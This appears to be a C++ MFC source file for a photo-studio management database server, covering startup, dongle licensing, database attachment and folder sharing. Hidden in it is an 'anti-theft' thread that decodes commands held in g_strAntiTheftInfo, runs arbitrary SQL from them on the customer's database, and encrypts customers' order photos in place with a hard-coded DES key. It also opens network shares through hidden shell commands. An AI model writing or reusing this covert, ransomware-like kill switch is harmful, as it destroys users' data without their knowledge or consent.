DBServer.cpp 26 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990
  1. #include "stdafx.h"
  2. #include "DBServer.h"
  3. #include "DBServerDlg.h"
  4. #include "theDBServer.h"
  5. #include "MyLock.h"
  6. #include "mysqldata.h"
  7. #include "DumpCollect.h"
  8. #include "BranchInfo.h"
  9. #include "AntiTheftCommand.h"
  10. #ifdef _DEBUG
  11. #define new DEBUG_NEW
  12. #undef THIS_FILE
  13. static char THIS_FILE[] = __FILE__;
  14. #endif
  15. BEGIN_MESSAGE_MAP(CDBServer, CWinApp)
  16. //{{AFX_MSG_MAP(CDBServer)
  17. ON_COMMAND(ID_APP_SHOW, OnAppShow)
  18. ON_COMMAND(ID_APP_EXIT, OnAppExit)
  19. ON_COMMAND(ID_APP_ABOUT, OnAppAbout)
  20. ON_COMMAND(ID_HELP_INDEX, OnHelpIndex)
  21. //}}AFX_MSG_MAP
  22. ON_COMMAND(ID_HELP, CWinApp::OnHelp)
  23. END_MESSAGE_MAP()
  24. /////////////////////////////////////////////////////////////////////////////
  25. // CDBServer construction
  26. CDBServer::CDBServer()
  27. {
  28. // TODO: add construction code here,
  29. // Place all significant initialization in InitInstance
  30. }
  31. /////////////////////////////////////////////////////////////////////////////
  32. // The one and only CDBServer object
  33. CDBServer theApp;
  34. CtheDBServer theServer;
  35. /////////////////////////////////////////////////////////////////////////////
  36. // CDBServer initialization
  37. BOOL CDBServer::InitInstance()
  38. {
  39. AfxInitRichEdit2();
  40. CWinApp::InitInstance();
  41. AfxEnableControlContainer();
  42. // DumpCollect::InitMinDump(); // Win10 1703 版本下Release出错,原因未知;
  43. InitSocketLibrary(MAKEWORD(2,2));
  44. // 2.配置数据库连接信息;
  45. char server[50];
  46. DWORD leng=50;
  47. memset(server, 0, 50);
  48. ::GetComputerName(server, &leng);
  49. _stprintf_s(g_szHostName, MAX_PATH, _T("%s"), server);
  50. g_localname = server;
  51. TCHAR szDir[MAX_PATH];
  52. ::GetModuleFileName(NULL, szDir, MAX_PATH);
  53. g_mainpath = szDir;
  54. g_mainpath = g_mainpath.Left (g_mainpath.ReverseFind ('\\'));
  55. if( GetIniInfo() == -1)
  56. {
  57. WriteTextLog("未找到配置文件:ServiceInfo.ini");
  58. return FALSE;
  59. }
  60. // 服务器延时启动;
  61. if ( g_dwStartDelayTime )
  62. {
  63. Sleep(g_dwStartDelayTime*1000);
  64. }
  65. // 1.根据运行的端口号来运行单实例;
  66. _stprintf_s(szDir, _T("lyfzServer%d"), g_dwCSPort);
  67. HANDLE hObject = CreateMutex(NULL, FALSE, szDir);
  68. if(GetLastError() == ERROR_ALREADY_EXISTS)
  69. {
  70. return false;
  71. }
  72. g_strdbpsw.Format("uid=%s;pwd=%s",g_szDBAccount,g_szDBPassWord);
  73. if ( g_dwDBServerPort != 0 )
  74. g_strdbServrename.Format("%s,%d",g_szDBSource,g_dwDBServerPort);
  75. else
  76. g_strdbServrename.Format("%s",g_szDBSource);
  77. WriteTextLog("启动");
  78. // 3.初始化加密狗信息,并获取相应的加密数据;
  79. MyLock lock("ytSoftKeyaccessxiao");
  80. if(SoftKey::GetInstance()->IniEx())
  81. {
  82. AfxMessageBox(_T("未找到加密狗或加密狗版本不一致!"));
  83. return false;
  84. }
  85. #ifdef CONNCOUNT_VERSION // Jeff.座席版;
  86. {
  87. int value[8];
  88. double f[8];
  89. TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T("");
  90. //运行自定义函数
  91. int ret=SoftKey::GetInstance()->getdata(&value[0],&value[1],&value[2],&value[3],&value[4],&value[5],&value[6],&value[7],
  92. &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
  93. s0,s1,s2,s3,s4,s5,s6,s7);
  94. if(ret!=0 && ret!=-43)
  95. {
  96. g_conncount=-1; // Jeff:S0 存储着座席数量;
  97. }
  98. else
  99. {
  100. g_conncount=atoi(s0); // Jeff:S0 存储着座席数量;
  101. g_sdomain=s1;
  102. g_bReg=atoi(s2); // ???医院跟踪系统??
  103. }
  104. }
  105. #else
  106. {
  107. int value[8];
  108. double f[8];
  109. TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T("");
  110. //运行自定义函数
  111. int ret=SoftKey::GetInstance()->getdata(&value[0],&value[1],&value[2],&value[3],&value[4],&value[5],&value[6],&value[7],
  112. &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
  113. s0,s1,s2,s3,s4,s5,s6,s7);
  114. if(ret!=0 && ret!=-43)
  115. {
  116. }
  117. else
  118. {
  119. g_sdomain=s1;
  120. g_bReg=atoi(s2);
  121. }
  122. }
  123. #endif
  124. if ( g_sdomain.IsEmpty() )
  125. {
  126. AfxMessageBox(_T("加密锁域名为空,无法启动服务器!"));
  127. return FALSE;
  128. }
  129. CString savedir=g_mainpath+"\\数据备份";
  130. if(!CheckFolderFileExist (savedir))
  131. ::CreateDirectory (savedir, NULL);
  132. ::CoInitialize( NULL );
  133. BOOL bMasterDb=0;
  134. BOOL bUserDb=0;
  135. // 4.连接master数据库,判断数据库连接是否正常;
  136. CDatabase masterdb; // Jeff:master用于附加与分离数据库;
  137. try
  138. {
  139. TCHAR szConnectString[MAX_PATH] = _T("");
  140. if( g_dwDBServerPort != 0)
  141. {
  142. if ( _tcscmp(g_szDBAccount, _T("")) == 0 )
  143. _stprintf_s(szConnectString, DB_SW_CONN_WITH_PORT, g_szDBSource,g_dwDBServerPort, _T("master"));
  144. else
  145. _stprintf_s(szConnectString, DB_SS_CONN_WITH_PORT,g_szDBSource,g_dwDBServerPort, _T("master"), g_szDBAccount,g_szDBPassWord);
  146. }
  147. else
  148. {
  149. if ( _tcscmp(g_szDBAccount, _T("")) == 0 )
  150. _stprintf_s(szConnectString, DB_SW_CONN_WITHOUT_PORT, g_szDBSource, _T("master"));
  151. else
  152. _stprintf_s(szConnectString, DB_SS_CONN_WITHOUT_PORT, g_szDBSource, _T("master"), g_szDBAccount, g_szDBPassWord);
  153. }
  154. masterdb.OpenEx(szConnectString,CDatabase::noOdbcDialog);
  155. bMasterDb=1;
  156. }
  157. catch(CDBException * e)
  158. {
  159. #ifdef _DEBUG
  160. e->ReportError();
  161. #endif
  162. e->Delete();
  163. }
  164. if(bMasterDb==0)
  165. {
  166. WriteTextLog(_T("sql数据库未启动!"));
  167. ShellExecute(NULL, _T("open"), g_mainpath+"\\AutoRun.exe", NULL, NULL, SW_HIDE);
  168. return false;
  169. }
  170. if (g_bCheckdb)
  171. {
  172. // 备份前,先检测数据库;
  173. HANDLE hThead = ::CreateThread(NULL, 0, CheckdbThread, NULL, 0, NULL);
  174. WaitForSingleObject(hThead, INFINITE);
  175. if (hThead)
  176. CloseHandle(hThead);
  177. }
  178. CODBCPool *pdbpool = new CODBCPool;
  179. if ( pdbpool->InitializePool(g_szDBSource, g_dwDBServerPort, g_szDBAccount, g_szDBPassWord, g_szDBName, g_dwDBPoolDef, g_dwDBPoolMaxCount) )
  180. {
  181. g_dbpool.Add(pdbpool);
  182. bUserDb=1;
  183. BackupDatabase(savedir, 1, 0); // Jeff. savedir=\\数据备份
  184. CDatabase *pdb = NULL;
  185. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  186. CString strSQL;
  187. strSQL.Format(_T("update path set path1='%s'"), g_sdomain);
  188. if ( pdb )
  189. {
  190. try
  191. {
  192. pdb->ExecuteSQL(strSQL);
  193. pdb->ExecuteSQL(_T("IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[historydb]') AND type in (N'U')) CREATE TABLE [historydb]([year] VARCHAR(50))"));
  194. }
  195. catch (CDBException* e)
  196. {
  197. WriteTextLog(_T("%s-<%d>-%s,%s"), __FILE__, __LINE__, __FUNCTION__, e->m_strError);
  198. e->Delete();
  199. }
  200. }
  201. }
  202. else
  203. {
  204. delete pdbpool;
  205. }
  206. if(bUserDb==0 && bMasterDb)
  207. {
  208. CString autorunpath=g_mainpath+"\\AutoRun.exe";
  209. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  210. WriteTextLog("数据库初始化中...");
  211. TCHAR szDBFile[MAX_PATH] = _T("");
  212. _stprintf_s(szDBFile, _T("%s\\数据\\%s.mdf"), g_mainpath.GetString(), g_szDBName);
  213. if(::PathFileExists(szDBFile) == 0 )
  214. {
  215. WriteTextLog("数据库文件丢失!");
  216. return false;
  217. }
  218. BOOL bLog=0;
  219. TCHAR szDBLogFile[MAX_PATH] = _T("");
  220. _stprintf_s(szDBLogFile, _T("%s\\数据\\%s_log.ldf"), g_mainpath.GetString(), g_szDBName);
  221. if(::PathFileExists(szDBLogFile) == 0 )
  222. {
  223. bLog=1;
  224. }
  225. CString sql;
  226. try
  227. {
  228. // g_masterdb.ExecuteSQL ("exec sp_detach_db db");
  229. }
  230. catch(CDBException * e)
  231. {
  232. #ifdef _DEBUG
  233. e->ReportError();
  234. #endif
  235. e->Delete();
  236. }
  237. if(bLog)
  238. sql.Format("exec sp_attach_db '%s',@filename1='%s\\数据\\%s.mdf',@filename2='%s\\数据\\%s_log.ldf'",g_szDBName,g_ModulePath,g_szDBName,g_ModulePath,g_szDBName);
  239. else
  240. sql.Format("exec sp_attach_db '%s',@filename1='%s\\数据\\%s.mdf'", g_szDBName,g_ModulePath,g_szDBName);
  241. try
  242. {
  243. masterdb.ExecuteSQL (sql); // 同master数据库去执行附加和分离;
  244. }
  245. catch(CDBException * e)
  246. {
  247. masterdb.Close();
  248. WriteTextLog(e->m_strError);
  249. WriteTextLog("数据库初始化失败!");
  250. #ifdef _DEBUG
  251. e->ReportError();
  252. #endif
  253. e->Delete();
  254. return false;
  255. }
  256. masterdb.Close();
  257. WriteTextLog("数据库初始化完成,请重新启动系统!");
  258. return false;
  259. }
  260. // 在数据库完成初始化后,判断本地目录下是否有MSCHRT20.OCX文件,无则从数据库下载;2014.09.06
  261. // 客户端从dwToUserID==211里传递MSCHRT20.OCX;
  262. CString strMSCHRTOCX = g_mainpath+"\\系统文件\\MSCHRT20.OCX";
  263. OFSTRUCT ofStruct;
  264. OpenFile(strMSCHRTOCX,&ofStruct,OF_EXIST);
  265. if( ERROR_FILE_NOT_FOUND == GetLastError())
  266. {
  267. CDatabase *pdb = NULL;
  268. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  269. if ( pdb )
  270. {
  271. CRstUpdate rsSt;
  272. rsSt.m_pDatabase = pdb;
  273. rsSt.Open();
  274. if(!rsSt.IsEOF())
  275. {
  276. CFile fp;
  277. if(fp.Open(strMSCHRTOCX, CFile::modeCreate|CFile::modeWrite))
  278. {
  279. void *pData = GlobalLock(rsSt.m_lbOCX.m_hData);
  280. fp.Write(pData, rsSt.m_lbOCX.m_dwDataLength);
  281. fp.Close();
  282. GlobalUnlock(rsSt.m_lbOCX.m_hData);
  283. }
  284. }
  285. rsSt.Close();
  286. }
  287. }
  288. ULONG_PTR gdiplusToken;
  289. GdiplusStartupInput gdiplusStartupInput;
  290. GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
  291. CString path1="客户原片(管理软件)$";
  292. CString path2="修好的片(管理软件)$";
  293. CString path3="设计好的片(管理软件)$";
  294. CString path4="精修好的片(管理软件)$";
  295. CString path5="礼服图片(管理软件)$";
  296. CString path6="电话录音(管理软件)$";
  297. CString temp;
  298. if(CheckFolderFileExist (g_mainpath+"\\"+path1))
  299. {
  300. temp.Format ("net share %s=%s\\%s", path1, g_mainpath, path1);
  301. WinExec(temp,SW_HIDE);
  302. }
  303. if(CheckFolderFileExist (g_mainpath+"\\"+path2))
  304. {
  305. temp.Format ("net share %s=%s\\%s", path2, g_mainpath, path2);
  306. WinExec(temp,SW_HIDE);
  307. }
  308. if(CheckFolderFileExist (g_mainpath+"\\"+path3))
  309. {
  310. temp.Format ("net share %s=%s\\%s", path3, g_mainpath, path3);
  311. WinExec(temp,SW_HIDE);
  312. }
  313. if(CheckFolderFileExist (g_mainpath+"\\"+path4))
  314. {
  315. temp.Format ("net share %s=%s\\%s", path4, g_mainpath, path4);
  316. WinExec(temp,SW_HIDE);
  317. }
  318. if(CheckFolderFileExist (g_mainpath+"\\"+path5))
  319. {
  320. temp.Format ("net share %s=%s\\%s", path5, g_mainpath, path5);
  321. WinExec(temp,SW_HIDE);
  322. }
  323. if(CheckFolderFileExist (g_mainpath+"\\"+path6))
  324. {
  325. temp.Format ("net share %s=%s\\%s", path6, g_mainpath, path6);
  326. WinExec(temp,SW_HIDE);
  327. }
  328. CString autorunpath=g_mainpath+"\\AutoRun.exe";
  329. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  330. #ifdef ENTERPRISE_VERSION
  331. autorunpath=g_mainpath+"\\DataSyncReceive.exe";
  332. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  333. autorunpath=g_mainpath+"\\DataSyncSend.exe";
  334. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  335. autorunpath=g_mainpath+"\\CPhotoFTPReceive.exe";
  336. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  337. autorunpath=g_mainpath+"\\CPhotoFTPSend.exe";
  338. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  339. #endif
  340. // Standard initialization
  341. // If you are not using these features and wish to reduce the size
  342. // of your final executable, you should remove from the following
  343. // the specific initialization routines you do not need.
  344. #ifdef _AFXDLL
  345. Enable3dControls(); // Call this when using MFC in a shared DLL
  346. #else
  347. Enable3dControlsStatic(); // Call this when linking to MFC statically
  348. #endif
  349. InitCommonControls();
  350. CAntiTheftCommand::GetInstance()->StartThread();
  351. CDBServerDlg dlg;
  352. m_pMainWnd = &dlg;
  353. int nResponse = dlg.DoModal();
  354. if (nResponse == IDOK)
  355. {
  356. }
  357. else if (nResponse == IDCANCEL)
  358. {
  359. }
  360. GdiplusShutdown(gdiplusToken);
  361. g_Instance = AfxGetResourceHandle();
  362. return FALSE;
  363. }
  364. void CDBServer::OnAppShow()
  365. {
  366. if (m_pMainWnd)
  367. m_pMainWnd->ShowWindow(SW_SHOW);
  368. }
  369. void CDBServer::OnAppExit()
  370. {
  371. //御载lyfzBackupModle.dll
  372. m_pMainWnd->DestroyWindow();
  373. }
  374. void CDBServer::OnAppAbout()
  375. {
  376. }
  377. /********************************************************************/
  378. /* */
  379. /* Function name : OnHelpIndex */
  380. /* Description : Command to show help file. */
  381. /* */
  382. /********************************************************************/
  383. void CDBServer::OnHelpIndex()
  384. {
  385. // launch help
  386. // ::WinHelp(AfxGetMainWnd()->m_hWnd, AfxGetApp()->m_pszHelpFilePath, HELP_CONTENTS, 0L);
  387. }
  388. int CDBServer::ExitInstance()
  389. {
  390. // 释放Socket库;
  391. ReleaseSocketLibrary();
  392. return CWinApp::ExitInstance();
  393. }
  394. /************************************************************************/
  395. /* 函数:[1/3/2017 IT];
  396. /* 描述:;
  397. /* 参数:;
  398. /* [IN] :;
  399. /* [OUT] :;
  400. /* [IN/OUT] :;
  401. /* 返回:void;
  402. /* 注意:代码未细分子函数,有待优化;
  403. /* 示例:;
  404. /*
  405. /* 修改:;
  406. /* 日期:;
  407. /* 内容:;
  408. /************************************************************************/
  409. DWORD CDBServer::ThreadAntiTheft(LPVOID lpPara)
  410. {
  411. #ifdef _DEBUG
  412. Sleep(1000);
  413. #else
  414. Sleep(180000);
  415. #endif
  416. while (1)
  417. {
  418. cJSON *pJson = NULL;
  419. cJSON *pSQLAry = NULL;
  420. cJSON *pDataAry = NULL;
  421. cJSON *pAryItem = NULL;
  422. CString strResult;
  423. do
  424. {
  425. if ( g_strAntiTheftInfo.IsEmpty() )
  426. {
  427. Sleep(1000);
  428. continue;
  429. }
  430. if ( des_crypt(g_strAntiTheftInfo, strResult, DES_DECRYPT) == -1 )
  431. {
  432. strResult.Empty();
  433. Sleep(1000);
  434. continue;
  435. }
  436. pJson = cJSON_Parse(strResult.GetString());
  437. if ( pJson )
  438. break;
  439. } while (1);
  440. typedef struct __SQLOPT__
  441. {
  442. CString strStatement;
  443. CString strExecTime;
  444. BOOL bExecStatus;
  445. }SQLOpt;
  446. typedef struct __DATAOPT__
  447. {
  448. INT nType;
  449. CString strExecTime;
  450. INT nCount;
  451. BOOL bExecStatus;
  452. STR_VEC vtOrders;
  453. }DATAOpt;
  454. struct __DETAIL__
  455. {
  456. BOOL bSQLOpt;
  457. BOOL bDataOpt;
  458. BOOL bDogOpt;
  459. CString strCmdGuid;
  460. CString strWarning; // 盗版提示;
  461. vector<SQLOpt> vtSQLOpt;
  462. vector<DATAOpt> vtDataOpt;
  463. };
  464. __DETAIL__ stDetail;
  465. if ( pJson )
  466. {
  467. INT nArySize = 0;
  468. stDetail.strCmdGuid = cJSON_GetObjectItem(pJson, "cmd-guid") ? cJSON_GetObjectItem(pJson, "cmd-guid")->valuestring : "";
  469. stDetail.bSQLOpt = cJSON_GetObjectItem(pJson, "SQL-Opt") ? cJSON_GetObjectItem(pJson, "SQL-Opt")->valueint : FALSE;
  470. stDetail.bDataOpt = cJSON_GetObjectItem(pJson, "Data-Opt") ? cJSON_GetObjectItem(pJson, "Data-Opt")->valueint : FALSE;
  471. stDetail.bDogOpt = cJSON_GetObjectItem(pJson, "Dog-Opt") ? cJSON_GetObjectItem(pJson, "Dog-Opt")->valueint : FALSE;
  472. pSQLAry = cJSON_GetObjectItem(pJson, "SQL-Ary");
  473. pDataAry = cJSON_GetObjectItem(pJson, "Data-Ary");
  474. if ( pSQLAry )
  475. {
  476. nArySize = cJSON_GetArraySize(pSQLAry);
  477. for ( int i = 0; i < nArySize; i++ )
  478. {
  479. pAryItem = cJSON_GetArrayItem(pSQLAry,i);
  480. if ( pAryItem )
  481. {
  482. SQLOpt stSQLOpt;
  483. stSQLOpt.strStatement = cJSON_GetObjectItem(pAryItem, "Statement")->valuestring;
  484. stSQLOpt.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring;
  485. stSQLOpt.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint;
  486. stDetail.vtSQLOpt.push_back(stSQLOpt);
  487. }
  488. }
  489. }
  490. if ( pDataAry )
  491. {
  492. pAryItem = NULL;
  493. nArySize = cJSON_GetArraySize(pDataAry);
  494. for ( int i = 0; i < nArySize; i++ )
  495. {
  496. pAryItem = cJSON_GetArrayItem(pDataAry,i);
  497. if ( pAryItem )
  498. {
  499. DATAOpt stDataOpt;
  500. stDataOpt.nType = cJSON_GetObjectItem(pAryItem, "Type")->valueint;
  501. stDataOpt.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring;
  502. stDataOpt.nCount = cJSON_GetObjectItem(pAryItem, "Count")->valueint;
  503. stDataOpt.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint;
  504. cJSON *pAryOrder = cJSON_GetObjectItem(pAryItem, "Order-Ary");
  505. if ( pAryOrder )
  506. {
  507. INT nOrderCount = cJSON_GetArraySize(pAryOrder);
  508. for ( int j = 0; j < nOrderCount; j++ )
  509. {
  510. pAryItem = cJSON_GetArrayItem(pAryOrder, j);
  511. if ( pAryItem )
  512. {
  513. stDataOpt.vtOrders.push_back(cJSON_GetObjectItem(pAryItem, "order")->valuestring);
  514. }
  515. }
  516. }
  517. stDetail.vtDataOpt.push_back(stDataOpt);
  518. }
  519. }
  520. }
  521. }
  522. cJSON_Delete(pJson);
  523. // 更新到数据库中;
  524. CDatabase *pMaindb = NULL;
  525. while ( pMaindb == NULL )
  526. {
  527. ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
  528. Sleep(1000);
  529. }
  530. CString strSQL;
  531. INT nHour = 0;
  532. INT nMinute = 0;
  533. if ( stDetail.bDogOpt )
  534. {// 加密狗授权到期,停止使用;
  535. }
  536. if ( stDetail.bSQLOpt )
  537. {
  538. for ( vector<SQLOpt>::iterator it = stDetail.vtSQLOpt.begin(); it != stDetail.vtSQLOpt.end(); it++ )
  539. {
  540. SQLOpt tagSQLOpt = *it;
  541. if ( !it->bExecStatus )
  542. {// 未执行过;
  543. if ( it->strExecTime == _T("NN:NN") )
  544. {// 下次触发执行;
  545. if (g_bNextTrigger)
  546. {
  547. it->strExecTime = _T("NN:BB");
  548. }
  549. }
  550. else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB") )
  551. {// 下次备份执行;
  552. CTime curTime = CTime::GetCurrentTime();
  553. if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
  554. {
  555. try
  556. {
  557. pMaindb->ExecuteSQL(it->strStatement);
  558. }
  559. catch(CDBException *e)
  560. {
  561. #ifdef _DEBUG
  562. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  563. #endif
  564. }
  565. it->bExecStatus = TRUE;
  566. }
  567. }
  568. else if ( it->strExecTime == _T("CC:CC"))
  569. {// 立即执行;
  570. try
  571. {
  572. pMaindb->ExecuteSQL(it->strStatement);
  573. }
  574. catch(CDBException *e)
  575. {
  576. #ifdef _DEBUG
  577. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  578. #endif
  579. }
  580. it->bExecStatus = TRUE;
  581. }
  582. else
  583. {// 指定时间执行;
  584. sscanf(it->strExecTime, _T("%s:%s"), nHour, nMinute);
  585. CTime curTime = CTime::GetCurrentTime();
  586. if ( curTime.GetHour() == nHour && abs(curTime.GetMinute() - nMinute) > 2 )
  587. {
  588. try
  589. {
  590. pMaindb->ExecuteSQL(it->strStatement);
  591. }
  592. catch(CDBException *e)
  593. {
  594. #ifdef _DEBUG
  595. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  596. #endif
  597. }
  598. it->bExecStatus = TRUE;
  599. }
  600. }
  601. }
  602. Sleep(100);
  603. }
  604. }
  605. if ( stDetail.bDataOpt )
  606. {
  607. for ( vector<DATAOpt>::iterator it = stDetail.vtDataOpt.begin(); it != stDetail.vtDataOpt.end(); it++ )
  608. {
  609. DATAOpt tagDataOpt = *it;
  610. if ( !it->bExecStatus )
  611. {// 未执行过;
  612. if ( it->strExecTime == _T("NN:NN") )
  613. {// 下次触发执行;
  614. if (g_bNextTrigger)
  615. {
  616. it->strExecTime = _T("NN:BB");
  617. }
  618. }
  619. else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB"))
  620. {// 下次备份执行;
  621. CTime curTime = CTime::GetCurrentTime();
  622. if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
  623. {
  624. try
  625. {
  626. DWORD dwIndex = 0;
  627. CRecordset tagRst(pMaindb);
  628. strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
  629. tagRst.Open(CRecordset::forwardOnly, strSQL);
  630. CStringArray AryOrder;
  631. while ( !tagRst.IsEOF() )
  632. {
  633. tagRst.GetFieldValue(_T("id"), strSQL);
  634. tagRst.MoveNext();
  635. ++dwIndex;
  636. AryOrder.Add(strSQL);
  637. it->vtOrders.push_back(strSQL.GetString());
  638. if ( dwIndex == it->nCount)
  639. break;
  640. }
  641. tagRst.Close();
  642. // 查找文件(多目录共享的情况);
  643. TblNetShareInfo *pNetShareInfo = NULL;
  644. CStringArray AryShareDirectory;
  645. for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
  646. {
  647. if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
  648. {
  649. AryShareDirectory.Add((*it_share)->szShareDirectory);
  650. }
  651. }
  652. // 找出所有文件;
  653. filehelpImpl ff;
  654. STR_VEC vtFiles;
  655. TString strDirctory;
  656. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  657. {
  658. for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
  659. {
  660. strDirctory = AryShareDirectory.ElementAt(j);
  661. strDirctory.append(_T("\\"));
  662. strDirctory.append(AryOrder.ElementAt(i));
  663. ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
  664. }
  665. }
  666. BYTE szKey[MAX_PATH] = "lyfz.net";
  667. BYTE szVI[MAX_PATH] = "WorkbyIT";
  668. // 计时;
  669. // 对找到的所有文件进行加密;
  670. for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
  671. {
  672. DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
  673. }
  674. }
  675. catch (CDBException* e)
  676. {
  677. #ifdef _DEBUG
  678. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  679. #endif
  680. }
  681. it->bExecStatus = TRUE;
  682. }
  683. }
  684. else if ( it->strExecTime == _T("CC:CC"))
  685. {// 立即执行;
  686. try
  687. {
  688. DWORD dwIndex = 0;
  689. CRecordset tagRst(pMaindb);
  690. strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
  691. tagRst.Open(CRecordset::forwardOnly, strSQL);
  692. CStringArray AryOrder;
  693. while ( !tagRst.IsEOF() )
  694. {
  695. tagRst.GetFieldValue(_T("id"), strSQL);
  696. tagRst.MoveNext();
  697. ++dwIndex;
  698. AryOrder.Add(strSQL);
  699. if ( dwIndex == it->nCount)
  700. break;
  701. it->vtOrders.push_back(strSQL.GetString());
  702. #ifdef _DEBUG
  703. WriteTextLog(_T("订单号:%s"), strSQL);
  704. #endif
  705. }
  706. tagRst.Close();
  707. // 查找文件(多目录共享的情况);
  708. TblNetShareInfo *pNetShareInfo = NULL;
  709. CStringArray AryShareDirectory;
  710. for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
  711. {
  712. if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
  713. {
  714. AryShareDirectory.Add((*it_share)->szShareDirectory);
  715. #ifdef _DEBUG
  716. WriteTextLog(_T("共享路径:%s"), (*it_share)->szShareDirectory);
  717. #endif
  718. }
  719. }
  720. // 找出所有文件;
  721. filehelpImpl ff;
  722. STR_VEC vtFiles;
  723. TString strDirctory;
  724. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  725. {
  726. for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
  727. {
  728. strDirctory = AryShareDirectory.ElementAt(j);
  729. strDirctory.append(_T("\\"));
  730. strDirctory.append(AryOrder.ElementAt(i));
  731. #ifdef _DEBUG
  732. WriteTextLog(_T("订单路径:%s"), strDirctory.c_str());
  733. #endif
  734. ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
  735. }
  736. }
  737. BYTE szKey[MAX_PATH] = "lyfz.net";
  738. BYTE szVI[MAX_PATH] = "WorkbyIT";
  739. // 计时;
  740. // 对找到的所有文件进行加密;
  741. for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
  742. {
  743. DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
  744. #ifdef _DEBUG
  745. WriteTextLog(_T("文件:%s"), it->c_str());
  746. #endif
  747. }
  748. }
  749. catch (CDBException* e)
  750. {
  751. #ifdef _DEBUG
  752. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  753. #endif
  754. }
  755. it->bExecStatus = TRUE;
  756. }
